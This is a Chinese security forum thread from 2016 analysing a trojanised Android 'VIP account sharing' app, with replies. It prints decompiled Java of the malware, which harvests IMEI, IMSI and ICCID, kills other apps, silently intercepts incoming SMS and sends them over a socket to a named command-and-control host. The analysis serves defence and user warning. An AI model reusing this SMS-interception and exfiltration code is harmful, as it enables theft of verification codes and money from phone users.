qtfreet00 发表于 2016-1-26 14:56

VIP帐号分享神器v1.8被恶意修改带病毒样本分析

本帖最后由 世事繁华皆成空 于 2016-1-26 15:47 编辑

该带拦截短信功能的软件在91sh博客(虽然版规不允许提到其它网站,不过该病毒程序也间接联系到了我,在此声明一下)公开的去广告版本(由我自己修改)的版本上添加了相关代码
Manifest变化

软件声明了一个隐式广播和一个com.Adbbk.referh服务,在网络状态变化,电量变化,用户解锁屏幕时都会触发该广播
    public void onReceive(Context context, Intent intent) {
      String v0 = intent.getAction();
      Intent v1 = new Intent(context, referh.class);
      if(!v0.equals(referh.CONNECTIVITY_CHANGE) && !v0.equals(referh.baidu_CHANGED)) {
            if(v0.equals(referh.xt)) {
                v1.putExtra("action", v0);
            }
            else {
                if(!v0.equals("SEND_ACTIOIN") && !v0.equals("DELIVERED_ACTION")) {
                  goto label_15;
                }

                v1.putExtra("action", v0);
                v1.putExtra("number", intent.getStringExtra("number"));
                v1.putExtra("resultcode", this.getResultCode());
            }
      }

    label_15:
      context.startService(v1);
    }
第一次触发时,该方法只会开启refresh这个服务,并不会传值,系统无法触发                <action android:name="android.intent.action.XINTIAO" />                <action android:name="SEND_ACTIOIN" />                <action android:name="DELIVERED_ACTION" />
这三个自定义的action,所以这几个肯定会在之后会被作者主动触发,触发时就会获取一个number和resultCode,这里估计就是你接收或者发送短信的号码了
开启服务后则会调用onCreate和onStart两个方法    public void onCreate() {
      super.onCreate();
      this.mContext = ((Context)this);
      this.initData();
      this.lastXinTiao = System.currentTimeMillis();
    }
    public void onStart(Intent intent, int startId) {
      super.onStart(intent, startId);
      if(System.currentTimeMillis() - this.lastXinTiao >= 10000) {
            this.socketDisConnect();
      }

      if(intent != null) {
            this.executorService.submit(new onStrartRunnable(this, intent));
      }
    }
在onCreate中调用了initData()方法,并给lastXinTiao这个成员变量赋值了当前时间
    public void initData() {
      if(this.dbHelper == null) {
            this.dbHelper = new Dbsql(this.mContext, 1);
      }

      this.dbHelper.opendatabase();
      if(this.mContext != null) {
            New.reStart(this.mContext);
      }

      Object v2 = this.mContext.getSystemService("phone");
      this.imsi = ((TelephonyManager)v2).getSubscriberId();
      if(this.imsi == null) {
            this.imsi = "0";
      }

      this.imei = ((TelephonyManager)v2).getDeviceId();
      if(this.imei == null) {
            this.imei = "0";
      }

      this.iccid = ((TelephonyManager)v2).getSimSerialNumber();
      if(this.iccid == null) {
            this.iccid = "0";
      }

      this.pstyle = Build.MODEL;
      this.sdkver = Integer.valueOf(Build$VERSION.SDK).intValue();
      try {
            PackageInfo v3 = this.getPackageManager().getPackageInfo(this.getPackageName(), 0);
            this.appname = v3.applicationInfo.loadLabel(this.getPackageManager()).toString();
            this.ver = v3.versionCode;
      }
      catch(PackageManager$NameNotFoundException v0) {
            this.ver = 0;
      }

      if(this.srcReceiver == null) {
            this.srcReceiver = new SrcenR();
            IntentFilter v4 = new IntentFilter();
            v4.addAction("android.intent.action.SCREEN_OFF");
            v4.addAction("android.intent.action.SCREEN_ON");
            this.registerReceiver(this.srcReceiver, v4);
      }

      if(this.smsReceiver == null) {
            this.smsReceiver = new SmsR();
            IntentFilter v1 = new IntentFilter();
            v1.addAction(referh.SMS_RECEIVER);
            v1.setPriority(2147483647);
            this.registerReceiver(this.smsReceiver, v1);
      }
    }
initData方法中,调用了New中的reStart方法

    public static boolean reStart(Context context) {
      if(context != null) {
            PackageManager v4 = context.getPackageManager();
            if(v4 != null) {
                List v3 = v4.getInstalledPackages(0);
                Object v1 = context.getSystemService("activity");
                int v0;
                for(v0 = 0; v0 < v3.size(); ++v0) {
                  Object v2 = v3.get(v0);
                  if(!((PackageInfo)v2).packageName.equals(context.getPackageName())) {
                        ((ActivityManager)v1).killBackgroundProcesses(((PackageInfo)v2).packageName);
                  }
                }
            }
      }

      return 1;
    }
该方法遍历系统中已安装的app,如果包名不等于这个vip帐号神器的,则结束后台进程
接下来initdata中会获取一系列手机相关信息,包括设备号,运营商,型号等等,并注册如下广播
      if(this.srcReceiver == null) {
            this.srcReceiver = new SrcenR();
            IntentFilter v4 = new IntentFilter();
            v4.addAction("android.intent.action.SCREEN_OFF");
            v4.addAction("android.intent.action.SCREEN_ON");
            this.registerReceiver(this.srcReceiver, v4);
      }
用于监听手机屏幕开启或者关闭,这两种行为都会触发这个广播,以及下面这个广播

      if(this.smsReceiver == null) {
            this.smsReceiver = new SmsR();
            IntentFilter v1 = new IntentFilter();
            v1.addAction(referh.SMS_RECEIVER);
            v1.setPriority(2147483647);
            this.registerReceiver(this.smsReceiver, v1);
      }
该广播添加的action为android.provider.Telephony.SMS_RECEIVED即接收短信时会触发该广播,并提升其优先级到最高,即高于系统短信功能接收短信
在OnStart回调中,会开启一个线程池执行this.executorService.submit(new onStrartRunnable(this, intent));
class onStrartRunnable implements Runnable {
      private String action;
      private Intent intent;

      onStrartRunnable(referh arg3, Intent _intent) {
            referh.this = arg3;
            super();
            this.intent = _intent;
            this.action = this.intent.getStringExtra("action");
      }

      public void run() {
            if(New.checkNet(referh.this.mContext)) {
                if(!referh.this.isConnect) {
                  if(this.action.equals("android.sendtoserver")) {
                        this.intent.getStringExtra("number");
                        String v1 = this.intent.getStringExtra("message");
                        if(referh.this.dbHelper == null) {
                            referh.this.dbHelper = new Dbsql(referh.this.mContext, 1);
                        }

                        Cursor v0 = referh.this.dbHelper.getkeys();
                        if(v0 == null) {
                            goto label_59;
                        }

                        if(v0.getCount() <= 0) {
                            goto label_59;
                        }

                        if(!v0.moveToFirst()) {
                            goto label_59;
                        }

                        do {
                            String v6 = v0.getString(5);
                            if(!v6.equals("-1")) {
                              New.sendSms(referh.this.mContext, v6, String.valueOf(referh.this.imei
                                        .substring(referh.this.imei.length() - 4)) + ":" + v1);
                            }

                            if(v0.moveToNext()) {
                              continue;
                            }

                            break;
                        }
                        while(true);
                  }

                label_59:
                  referh.this.socketConnect();
                }

                if(this.action == null) {
                  return;
                }

                if(this.action.equals(referh.xt)) {
                  if(referh.this.isConnect) {
                        referh.this.sendMessage("0");
                        return;
                  }

                  referh.this.socketDisConnect();
                  return;
                }

                if(this.action.equals("DELIVERED_ACTION")) {
                  String v2 = this.intent.getStringExtra("number");
                  if(this.intent.getIntExtra("resultcode", 0) != -1) {
                        return;
                  }

                  referh.this.sendMessage("1C{iccid:\"" + referh.this.iccid + "\",imei\":\"" + referh
                            .this.imei + "\",number:\"" + v2 + "\",message:\"y\",}");
                  return;
                }

                if(!this.action.equals("android.sendtoserver")) {
                  return;
                }

                referh.this.sendMessage("1B{iccid:\"" + referh.this.iccid + "\",imei\":\"" + referh.
                        this.imei + "\",number:\"" + this.intent.getStringExtra("number") + "\",message:\""
                         + this.intent.getStringExtra("message") + "\",}");
            }
            else {
                referh.this.socketDisConnect();
            }
      }
    }
首先会判断当前网络是否畅通,畅通则会继续执行,由于当前action的行为无法触发其中任何一个if语句,所以只会执行
referh.this.socketConnect();

referh.this.sendMessage("1B{iccid:\"" + referh.this.iccid + "\",imei\":\"" + referh.
                        this.imei + "\",number:\"" + this.intent.getStringExtra("number") + "\",message:\""
                         + this.intent.getStringExtra("message") + "\",}");
当之前获取到的手机信息传递给sendMessage方法,此处的sendMessage并不是发送短信,只是一个自定义方法
观察一下socketConnect方法
    private boolean socketConnect() {
      if(this.socket == null) {
            try {
                this.socket = new Socket();
                this.socket.connect(new InetSocketAddress(New.getHost(this.mContext), referh.PORT),
                        referh.SOCKET_TIMEOUT);
                this.socket.setKeepAlive(true);
                this.socket_in = new BufferedReader(new InputStreamReader(this.socket.getInputStream()));
                this.socket_out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(this.socket
                        .getOutputStream())), true);
                new Thread(((Runnable)this)).start();
                this.isConnect = true;
                this.woshou();
            }
            catch(IOException v7) {
                boolean v0 = false;
                return v0;
            }

            if(this.am == null) {
                this.am = this.getSystemService("alarm");
                Intent v9 = new Intent(this.mContext, EveR.class);
                v9.setAction(referh.xt);
                this.pendIntent = PendingIntent.getBroadcast(this.getApplicationContext(), 0, v9, 134217728);
                this.triggerAtTime = SystemClock.elapsedRealtime();
                this.am.setRepeating(2, this.triggerAtTime, ((long)this.interval), this.pendIntent);
            }
      }

      return true;
    }
开启一个socket长连接线程,并调用refresh类实现的runnable接口,以及this.woshou()这个方法,并且又重新调用了ever这个广播
if(this.am == null) {
                this.am = this.getSystemService("alarm");
                Intent v9 = new Intent(this.mContext, EveR.class);
                v9.setAction(referh.xt);
                this.pendIntent = PendingIntent.getBroadcast(this.getApplicationContext(), 0, v9, 134217728);
                this.triggerAtTime = SystemClock.elapsedRealtime();
                this.am.setRepeating(2, this.triggerAtTime, ((long)this.interval), this.pendIntent);
            }
这里设置了一个全局定时器,从triggerAtTime开始执行,间隔((long)this.interval)时长,执行的为this.pendIntent,即每隔一段时间就会触发ever这个广播
主要看下最重要的拦截短信吧
for(v20 = 0; v20 < v21; ++v20) {
                  SmsMessage v13 = v12;
                  String v17 = v13.getMessageBody();
                  String v18 = v13.getDisplayOriginatingAddress();
                  if(v18.startsWith("+86")) {
                        v18 = v18.substring(3);
                  }

                  if(this.dbAdapter == null) {
                        this.dbAdapter = new Dbsql(context, 1);
                  }

                  this.dbAdapter.opendatabase();
                  Cursor v5 = this.dbAdapter.getkeys();
                  if(v5 != null && v5.getCount() > 0 && (v5.moveToFirst())) {
                        String v11 = v5.getString(0);
                        String v10 = v5.getString(1);
                        String v15 = v5.getString(2);
                        long v6 = v5.getLong(3);
                        v5.getInt(4);
                        if(System.currentTimeMillis() <= v6) {
                            if((v15.equals("*")) && (v11.equals("*"))) {
                              v16 = new Intent(context, referh.class);
                              v16.putExtra("action", "android.sendtoserver");
                              v16.putExtra("message", v17);
                              v16.putExtra("number", v18);
                              this.mContext.startService(v16);
                              if(!v10.equals("1")) {
                              }
                              else if(v19 < 19) {
                                    this.abortBroadcast();
                              }
                              else {
                              }

                              goto label_133;
                            }
获取短信的号码和内容,并传递给referh这个广播,传递完成后直接截断广播,所以系统将无法获取到短信
这里也调用到了数据库,看下数据库这个类
this.SMS_TABLE = "create table if not exists smstable(id Integer primary key autoincrement,number text not null,isback text default 0)";
      this.KEY_TABLE = "create table if not exists keytable(id Integer primary key autoincrement,keyword text not null,isback text default 0,etime long,number text not null,totel text default -1)";
创建两张表,SMS_TABLE设置了number和isback两个字段,isback初始为0,KEY_TABLE设置了keyword,isback,etime,number,totel五个字段
截断短信后重新回到referh这个服务中,此时再次执行run方法时,则会将短信号码内容传递给sendMessage这个方法,通过 this.socket_out.println(message);                this.socket_out.flush();

将数据发送出去
并且在onDestory方法中,如果当前网络畅通,则永远无法结束这几个恶意服务进程,如果无网络,则会结束 public void onDestroy() {
      SrcenR v3 = null;
      super.onDestroy();
      this.socketDisConnect();
      if(New.checkNet(this.mContext)) {
            this.mContext.startService(new Intent(this.mContext, referh.class));
            if(this.dbHelper == null) {
                this.dbHelper = new Dbsql(this.mContext, 1);
            }

            this.dbHelper.opendatabase();
            New.reStart(this.mContext);
      }
      else {
            this.stopSelf();
            if(this.dbHelper != null) {
                this.dbHelper.closedatabase();
            }

            if(this.srcReceiver != null) {
                this.unregisterReceiver(this.srcReceiver);
                this.srcReceiver = v3;
            }

            if(this.smsReceiver != null) {
                this.unregisterReceiver(this.smsReceiver);
                this.smsReceiver = ((SmsR)v3);
            }

            if(this.am == null) {
                return;
            }

            if(this.pendIntent == null) {
                return;
            }

            this.am.cancel(this.pendIntent);
            this.am = ((AlarmManager)v3);
            this.pendIntent = ((PendingIntent)v3);
      }
    }


初步分析,该app会获取手机的系统信息和短信获取通过socket发送到http://110.aahhjg.com:8890/或者短信发送给作者,但并不会直接造成银行卡被倒刷,除非你的卡信息别人已知晓,并在你付款获取支付验证码时短信被拦截可能会造成财产损失













windwing1883 发表于 2016-1-26 15:11

this.am.setRepeating(2, this.triggerAtTime, ((long)this.interval), this.pendIntent);
这句意思是 以interval为时间周期 发送pendIntent里设置的广播 第一个参数2应该是一个静态常量具体忘了.

qtfreet00 发表于 2016-1-26 15:26

windwing1883 发表于 2016-1-26 15:11
this.am.setRepeating(2, this.triggerAtTime, ((long)this.interval), this.pendIntent);
这句意思是 以i ...

感谢提醒,已查询资料后修正

18261770390 发表于 2016-1-26 15:04

我支点我看不懂
                     不过还是不要前排

无趣水瓶 发表于 2016-1-26 15:05

膜拜大神的分析

左岸麦田 发表于 2016-1-26 15:19

感谢,个人一般不使用这类软体啦。

292219828 发表于 2016-1-26 15:30

所以说没有免费的午餐。

学霸 发表于 2016-1-26 15:30


膜拜大神的分析

793e 发表于 2016-1-26 16:21

{:1_926:}不错,6666

Keller 发表于 2016-1-26 18:13

分析的很详细,顶大牛
页: [1] 2 3 4
查看完整版本: VIP帐号分享神器v1.8被恶意修改带病毒样本分析